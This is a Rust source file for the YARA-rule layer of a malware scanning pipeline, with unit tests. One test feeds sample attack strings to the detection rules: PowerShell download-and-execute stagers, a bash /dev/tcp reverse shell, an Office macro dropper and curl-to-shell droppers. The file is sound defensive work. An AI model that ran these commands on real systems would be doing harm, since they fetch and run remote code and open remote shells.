Skip to main content

max / makenotwork

21.0 KB · 606 lines History Blame Raw
1 //! Layer 4: YARA rule matching via yara-x.
2 //!
3 //! Rules are compiled once at startup from all `.yar` files in the configured
4 //! rules directory. The compiled rules are stored in ScanPipeline and reused.
5
6 use std::path::Path;
7 use std::time::Duration;
8
9 use super::{ErrorPolicy, LayerResult, LayerVerdict};
10
11 /// In-process deterministic layer. A YARA scan error (timeout, rule
12 /// compilation failure at scan time) is structurally suspicious, fail closed.
13 pub const ERROR_POLICY: ErrorPolicy = ErrorPolicy::FailClosed;
14
15 /// Maximum time for a single YARA scan before it is aborted.
16 const YARA_SCAN_TIMEOUT: Duration = Duration::from_secs(30);
17
18 /// Compile all YARA rules from `.yar` files in a directory.
19 /// Returns None if the directory doesn't exist or contains no rules.
20 /// Compile every `.yar`/`.yara` file under `dir`. Returns the compiled `Rules`
21 /// (or `None` when the directory is absent / empty) alongside the count of rule
22 /// files that compiled successfully, the caller uses that count to enforce an
23 /// optional health floor (see `ScanPipeline::assert_live`).
24 ///
25 /// **Call this exactly once per process.** `yara_x::Compiler::new()` stands up a
26 /// wasmtime `Engine`, and the single live engine is what makes RUSTSEC-2026-0222
27 /// ("stores can mix up type indices between engines", unfixed on the wasmtime 43
28 /// line that yara-x 1.19 pins) inapplicable to us — the bug needs two engines to
29 /// confuse, and there is only ever one. That reasoning is written down as the
30 /// justification for ignoring the advisory in `.cargo/audit.toml` and
31 /// `deny.toml`, so a second production call site does not just add overhead: it
32 /// invalidates a documented security posture and the ignore has to be re-argued.
33 /// Today the only caller is `ScanEngine` construction (`scanning/mod.rs`);
34 /// everything else is under `#[cfg(test)]`.
35 pub fn compile_rules_from_dir(dir: &str) -> Result<(Option<yara_x::Rules>, usize), String> {
36 let path = Path::new(dir);
37 if !path.exists() {
38 tracing::info!(dir = %dir, "YARA rules directory not found, skipping");
39 return Ok((None, 0));
40 }
41
42 let mut compiler = yara_x::Compiler::new();
43 let mut rule_count = 0;
44 let mut skipped_count = 0;
45
46 let entries =
47 std::fs::read_dir(path).map_err(|e| format!("Failed to read YARA rules directory: {e}"))?;
48
49 for entry in entries {
50 let entry = entry.map_err(|e| format!("Failed to read directory entry: {e}"))?;
51 let file_path = entry.path();
52
53 if file_path
54 .extension()
55 .is_some_and(|ext| ext == "yar" || ext == "yara")
56 {
57 let source = match std::fs::read_to_string(&file_path) {
58 Ok(s) => s,
59 Err(e) => {
60 tracing::warn!(file = %file_path.display(), error = %e, "skipping unreadable YARA rule file");
61 skipped_count += 1;
62 continue;
63 }
64 };
65
66 // Per-file fail-open. Third-party rule corpora (e.g. Florian Roth's
67 // signature-base) include rules that exercise built-in identifiers
68 // (`filename`, `filepath`, `extension`, ...) which yara-x's pure-Rust
69 // engine does not yet implement. A single such rule must not take
70 // down the whole scanner, skip the file and log the rule path so
71 // operators can audit coverage gaps.
72 match compiler.add_source(source.as_str()) {
73 Ok(_) => {
74 rule_count += 1;
75 tracing::debug!(file = %file_path.display(), "Loaded YARA rule file");
76 }
77 Err(e) => {
78 tracing::warn!(
79 file = %file_path.display(),
80 error = %e,
81 "skipping YARA rule file that yara-x cannot compile"
82 );
83 skipped_count += 1;
84 }
85 }
86 }
87 }
88
89 if skipped_count > 0 {
90 // WARN, not INFO: a skipped rule file is a silent coverage gap. yara-x's
91 // pure-Rust engine rejects rules that use built-ins it doesn't implement
92 // (`filename`, `filepath`, `extension`, ...), so an operator dropping a
93 // third-party corpus in needs this surfaced to know what didn't load.
94 // YARA is supplementary here; ClamAV (full-file, streamed) is the
95 // signature backstop, so a gap degrades depth, not the floor.
96 tracing::warn!(
97 skipped_count,
98 "YARA rule files skipped (unsupported features); coverage reduced, ClamAV remains the backstop"
99 );
100 }
101
102 if rule_count == 0 {
103 tracing::info!(dir = %dir, "No YARA rule files found");
104 return Ok((None, 0));
105 }
106
107 let rules = compiler.build();
108
109 tracing::info!(rule_count, skipped_count, dir = %dir, "YARA rules compiled");
110 Ok((Some(rules), rule_count))
111 }
112
113 /// Scan file data against compiled YARA rules.
114 pub fn scan_with_yara(rules: &yara_x::Rules, data: &[u8]) -> LayerResult {
115 let mut scanner = yara_x::Scanner::new(rules);
116 scanner.set_timeout(YARA_SCAN_TIMEOUT);
117
118 let scan_results = match scanner.scan(data) {
119 Ok(results) => results,
120 Err(e) => {
121 return LayerResult {
122 layer: "yara",
123 verdict: LayerVerdict::Error,
124 detail: Some(format!("YARA scan failed: {e}")),
125 };
126 }
127 };
128
129 let matching_rules: Vec<String> = scan_results
130 .matching_rules()
131 .map(|rule| {
132 let ns = rule.namespace();
133 let name = rule.identifier();
134 if ns == "default" {
135 name.to_string()
136 } else {
137 format!("{ns}:{name}")
138 }
139 })
140 .collect();
141
142 if matching_rules.is_empty() {
143 LayerResult {
144 layer: "yara",
145 verdict: LayerVerdict::Pass,
146 detail: None,
147 }
148 } else {
149 LayerResult {
150 layer: "yara",
151 verdict: LayerVerdict::Fail,
152 detail: Some(format!("Matched rules: {}", matching_rules.join(", "))),
153 }
154 }
155 }
156
157 /// Scan a spooled file against YARA rules. Reads the file into memory
158 /// (yara-x's `Scanner::scan` takes a byte slice).
159 ///
160 /// Test-only: the live scan path uses [`scan_with_yara`] on already-resident
161 /// bytes. Gated `#[cfg(test)]` so this uncapped `fs::read` cannot be reached off
162 /// the request path (ultra-fuzz Run 11 Sec L1).
163 #[cfg(test)]
164 pub fn scan_with_yara_path(rules: &yara_x::Rules, path: &std::path::Path) -> LayerResult {
165 match std::fs::read(path) {
166 Ok(data) => scan_with_yara(rules, &data),
167 Err(e) => LayerResult {
168 layer: "yara",
169 verdict: LayerVerdict::Error,
170 detail: Some(format!("read spool {}: {e}", path.display())),
171 },
172 }
173 }
174
175 #[cfg(test)]
176 mod tests {
177 use super::*;
178
179 #[test]
180 fn no_rules_dir_returns_none() {
181 let result = compile_rules_from_dir("/nonexistent/path/to/rules");
182 assert!(result.is_ok());
183 assert!(result.unwrap().0.is_none());
184 }
185
186 #[test]
187 fn clean_data_passes() {
188 // Compile a simple test rule that looks for "MALWARE_SIGNATURE"
189 let mut compiler = yara_x::Compiler::new();
190 compiler
191 .add_source(
192 r#"
193 rule test_malware {
194 strings:
195 $sig = "MALWARE_SIGNATURE"
196 condition:
197 $sig
198 }
199 "#,
200 )
201 .unwrap();
202 let rules = compiler.build();
203
204 let result = scan_with_yara(&rules, b"this is clean data");
205 assert_eq!(result.verdict, LayerVerdict::Pass);
206 }
207
208 #[test]
209 fn malicious_data_fails() {
210 let mut compiler = yara_x::Compiler::new();
211 compiler
212 .add_source(
213 r#"
214 rule test_malware {
215 strings:
216 $sig = "MALWARE_SIGNATURE"
217 condition:
218 $sig
219 }
220 "#,
221 )
222 .unwrap();
223 let rules = compiler.build();
224
225 let result = scan_with_yara(&rules, b"contains MALWARE_SIGNATURE inside");
226 assert_eq!(result.verdict, LayerVerdict::Fail);
227 assert!(result.detail.unwrap().contains("test_malware"));
228 }
229
230 #[test]
231 fn path_entry_matches_buffered() {
232 let mut compiler = yara_x::Compiler::new();
233 compiler
234 .add_source(
235 r#"
236 rule test_malware {
237 strings:
238 $sig = "MALWARE_SIGNATURE"
239 condition:
240 $sig
241 }
242 "#,
243 )
244 .unwrap();
245 let rules = compiler.build();
246
247 for sample in [&b"clean bytes"[..], &b"hit MALWARE_SIGNATURE here"[..]] {
248 let buffered = scan_with_yara(&rules, sample);
249 let tmp = tempfile::NamedTempFile::new().unwrap();
250 std::fs::write(tmp.path(), sample).unwrap();
251 let path_based = scan_with_yara_path(&rules, tmp.path());
252 assert_eq!(buffered.verdict, path_based.verdict);
253 }
254 }
255
256 // ── Adversarial tests (test-fuzz) ──
257
258 #[test]
259 fn empty_data_passes() {
260 let mut compiler = yara_x::Compiler::new();
261 compiler
262 .add_source(
263 r#"
264 rule test_malware {
265 strings:
266 $sig = "MALWARE_SIGNATURE"
267 condition:
268 $sig
269 }
270 "#,
271 )
272 .unwrap();
273 let rules = compiler.build();
274
275 let result = scan_with_yara(&rules, b"");
276 assert_eq!(result.verdict, LayerVerdict::Pass);
277 }
278
279 #[test]
280 fn multiple_rules_all_reported() {
281 let mut compiler = yara_x::Compiler::new();
282 compiler
283 .add_source(
284 r#"
285 rule rule_alpha {
286 strings:
287 $a = "ALPHA"
288 condition:
289 $a
290 }
291 rule rule_beta {
292 strings:
293 $b = "BETA"
294 condition:
295 $b
296 }
297 "#,
298 )
299 .unwrap();
300 let rules = compiler.build();
301
302 let result = scan_with_yara(&rules, b"ALPHA and BETA are both here");
303 assert_eq!(result.verdict, LayerVerdict::Fail);
304 let detail = result.detail.unwrap();
305 assert!(
306 detail.contains("rule_alpha"),
307 "Missing rule_alpha in: {detail}"
308 );
309 assert!(
310 detail.contains("rule_beta"),
311 "Missing rule_beta in: {detail}"
312 );
313 }
314
315 #[test]
316 fn partial_match_does_not_trigger() {
317 let mut compiler = yara_x::Compiler::new();
318 compiler
319 .add_source(
320 r#"
321 rule test_exact {
322 strings:
323 $sig = "EXACT_MATCH"
324 condition:
325 $sig
326 }
327 "#,
328 )
329 .unwrap();
330 let rules = compiler.build();
331
332 // Partial overlap should not match
333 let result = scan_with_yara(&rules, b"EXACT_MATC");
334 assert_eq!(result.verdict, LayerVerdict::Pass);
335 }
336
337 #[test]
338 fn large_clean_data_passes() {
339 let mut compiler = yara_x::Compiler::new();
340 compiler
341 .add_source(
342 r#"
343 rule test_sig {
344 strings:
345 $sig = "DANGEROUS"
346 condition:
347 $sig
348 }
349 "#,
350 )
351 .unwrap();
352 let rules = compiler.build();
353
354 // 1MB of clean data
355 let data = vec![b'A'; 1_000_000];
356 let result = scan_with_yara(&rules, &data);
357 assert_eq!(result.verdict, LayerVerdict::Pass);
358 }
359
360 #[test]
361 fn signature_at_end_of_data() {
362 let mut compiler = yara_x::Compiler::new();
363 compiler
364 .add_source(
365 r#"
366 rule end_sig {
367 strings:
368 $sig = "TAIL"
369 condition:
370 $sig
371 }
372 "#,
373 )
374 .unwrap();
375 let rules = compiler.build();
376
377 let mut data = vec![b'X'; 10000];
378 data.extend_from_slice(b"TAIL");
379 let result = scan_with_yara(&rules, &data);
380 assert_eq!(result.verdict, LayerVerdict::Fail);
381 assert!(result.detail.unwrap().contains("end_sig"));
382 }
383
384 #[test]
385 fn compile_rules_from_real_temp_dir() {
386 let dir = tempfile::tempdir().unwrap();
387
388 // Write a valid YARA rule file
389 std::fs::write(
390 dir.path().join("test.yar"),
391 r#"
392 rule hello_world {
393 strings:
394 $hw = "Hello, World!"
395 condition:
396 $hw
397 }
398 "#,
399 )
400 .unwrap();
401
402 let result = compile_rules_from_dir(dir.path().to_str().unwrap());
403 assert!(result.is_ok());
404 let (rules, count) = result.unwrap();
405 assert!(rules.is_some(), "Should have compiled one rule");
406 assert_eq!(count, 1, "exactly one rule file compiled");
407
408 // Verify the rules work
409 let rules = rules.unwrap();
410 let scan = scan_with_yara(&rules, b"Hello, World!");
411 assert_eq!(scan.verdict, LayerVerdict::Fail);
412 assert!(scan.detail.unwrap().contains("hello_world"));
413 }
414
415 #[test]
416 fn empty_dir_returns_none() {
417 let dir = tempfile::tempdir().unwrap();
418 let result = compile_rules_from_dir(dir.path().to_str().unwrap());
419 assert!(result.is_ok());
420 assert!(result.unwrap().0.is_none());
421 }
422
423 #[test]
424 fn non_yar_files_ignored() {
425 let dir = tempfile::tempdir().unwrap();
426 std::fs::write(dir.path().join("readme.txt"), "not a rule").unwrap();
427 std::fs::write(dir.path().join("rules.json"), "{}").unwrap();
428
429 let result = compile_rules_from_dir(dir.path().to_str().unwrap());
430 assert!(result.is_ok());
431 assert!(result.unwrap().0.is_none());
432 }
433
434 #[test]
435 fn invalid_yara_rule_is_skipped_not_fatal() {
436 // Per-file fail-open: a single uncompilable rule (e.g. one using a
437 // yara-x-unsupported built-in identifier from a third-party corpus)
438 // must not abort the entire scanner. The file is logged and skipped.
439 let dir = tempfile::tempdir().unwrap();
440 std::fs::write(dir.path().join("bad.yar"), "this is not valid YARA syntax").unwrap();
441
442 let result = compile_rules_from_dir(dir.path().to_str().unwrap());
443 assert!(result.is_ok(), "skipped-on-error, not aborted");
444 // No valid rules in the dir, so the function returns Ok(None), the
445 // pipeline interprets None as "yara not configured" → Skip verdict.
446 assert!(result.unwrap().0.is_none());
447 }
448
449 #[test]
450 fn mixed_valid_and_invalid_rules_keeps_valid() {
451 let dir = tempfile::tempdir().unwrap();
452 std::fs::write(
453 dir.path().join("good.yar"),
454 r#"rule clean_test { strings: $s = "marker" condition: $s }"#,
455 )
456 .unwrap();
457 std::fs::write(dir.path().join("bad.yar"), "not yara at all").unwrap();
458
459 let result = compile_rules_from_dir(dir.path().to_str().unwrap());
460 assert!(result.is_ok());
461 let (rules, count) = result.unwrap();
462 assert!(
463 rules.is_some(),
464 "valid rules still compile when bad files are present"
465 );
466 assert_eq!(
467 count, 1,
468 "the one valid file compiled; the bad one was skipped"
469 );
470 }
471
472 /// The bundled `server/yara-rules/` corpus must compile, its file count must
473 /// match `DEFAULT_YARA_MIN_RULE_FILES` (so adding/removing a rule file forces
474 /// updating the floor constant, drift guard), and each shipped rule must
475 /// actually fire on a representative sample while clean creative content
476 /// passes. This is the regression net for SEC-S2: a silently-broken or
477 /// silently-shrunk corpus fails here at test time, and the boot floor catches
478 /// it in production.
479 #[test]
480 fn shipped_corpus_is_healthy() {
481 let dir = concat!(env!("CARGO_MANIFEST_DIR"), "/yara-rules");
482 let (rules, count) = compile_rules_from_dir(dir).expect("bundled corpus must compile");
483 let rules = rules.expect("bundled corpus must produce rules");
484 assert_eq!(
485 count,
486 crate::config::DEFAULT_YARA_MIN_RULE_FILES,
487 "bundled .yar file count drifted from DEFAULT_YARA_MIN_RULE_FILES, \
488 update the constant (and the boot floor it feeds)"
489 );
490
491 // EICAR test vector fires.
492 let eicar = br"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
493 assert_eq!(
494 scan_with_yara(&rules, eicar).verdict,
495 LayerVerdict::Fail,
496 "eicar must match"
497 );
498
499 // Script-downloader stager fires (two PowerShell tokens).
500 let downloader =
501 b"powershell -nop -c IEX (New-Object Net.WebClient).DownloadString('http://x/y')";
502 assert_eq!(
503 scan_with_yara(&rules, downloader).verdict,
504 LayerVerdict::Fail,
505 "downloader must match"
506 );
507
508 // Reverse-shell one-liner fires (bash /dev/tcp idiom).
509 let revshell = b"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1";
510 assert_eq!(
511 scan_with_yara(&rules, revshell).verdict,
512 LayerVerdict::Fail,
513 "reverse shell must match"
514 );
515
516 // Encoded-PowerShell stager fires (powershell + encoded + exec primitive).
517 let enc_ps =
518 b"powershell -nop -w hidden -EncodedCommand JABjAD0... ; IEX (FromBase64String($x))";
519 assert_eq!(
520 scan_with_yara(&rules, enc_ps).verdict,
521 LayerVerdict::Fail,
522 "encoded powershell must match"
523 );
524
525 // Office macro dropper fires (autoexec + two exec primitives).
526 let macro_drop = b"Sub AutoOpen()\n Set o = CreateObject(\"WScript.Shell\")\nEnd Sub";
527 assert_eq!(
528 scan_with_yara(&rules, macro_drop).verdict,
529 LayerVerdict::Fail,
530 "macro dropper must match"
531 );
532
533 // Linux dropper fires (download + chmod +x + world-writable target).
534 let lin_drop = b"curl http://x/y -o /tmp/p && chmod +x /tmp/p && /tmp/p";
535 assert_eq!(
536 scan_with_yara(&rules, lin_drop).verdict,
537 LayerVerdict::Fail,
538 "linux dropper must match"
539 );
540
541 // Pipe-to-shell dropper fires.
542 let pipe_drop = b"curl -fsSL http://x/install | bash";
543 assert_eq!(
544 scan_with_yara(&rules, pipe_drop).verdict,
545 LayerVerdict::Fail,
546 "pipe-to-shell must match"
547 );
548
549 // Ordinary content with none of the idioms passes (false-positive guard).
550 let clean = b"a perfectly normal track description mentioning a shell on the beach";
551 assert_eq!(
552 scan_with_yara(&rules, clean).verdict,
553 LayerVerdict::Pass,
554 "clean content must pass"
555 );
556
557 // A benign install snippet that uses chmod alone (no download+temp combo)
558 // must not trip the Linux dropper rule.
559 let benign_chmod = b"After extracting, run chmod +x ./mytool to make it executable.";
560 assert_eq!(
561 scan_with_yara(&rules, benign_chmod).verdict,
562 LayerVerdict::Pass,
563 "lone chmod must not match"
564 );
565
566 // A document that merely mentions AutoOpen in prose must not match.
567 let benign_macro = b"This template defines an AutoOpen macro to set the cursor position.";
568 assert_eq!(
569 scan_with_yara(&rules, benign_macro).verdict,
570 LayerVerdict::Pass,
571 "macro prose must not match"
572 );
573 }
574
575 #[test]
576 fn default_namespace_rule_is_unprefixed() {
577 // Catches the L79 `==` → `!=` mutation. The function emits "rule" for
578 // default-namespace rules but "ns:rule" otherwise. Under the mutant the
579 // prefix logic inverts. Existing tests check `detail.contains("rule_x")`
580 // which is also true for "default:rule_x", so they don't catch the flip.
581 // Pin the exact format.
582 let mut compiler = yara_x::Compiler::new();
583 compiler
584 .add_source(
585 r#"
586 rule plain {
587 strings:
588 $a = "TARGET"
589 condition:
590 $a
591 }
592 "#,
593 )
594 .unwrap();
595 let rules = compiler.build();
596 let result = scan_with_yara(&rules, b"TARGET in data");
597 let detail = result.detail.unwrap();
598 // Default-namespace rule must appear unprefixed.
599 assert!(detail.contains("plain"), "missing rule name: {detail}");
600 assert!(
601 !detail.contains("default:"),
602 "default-namespace rules must not be prefixed; got {detail}"
603 );
604 }
605 }
606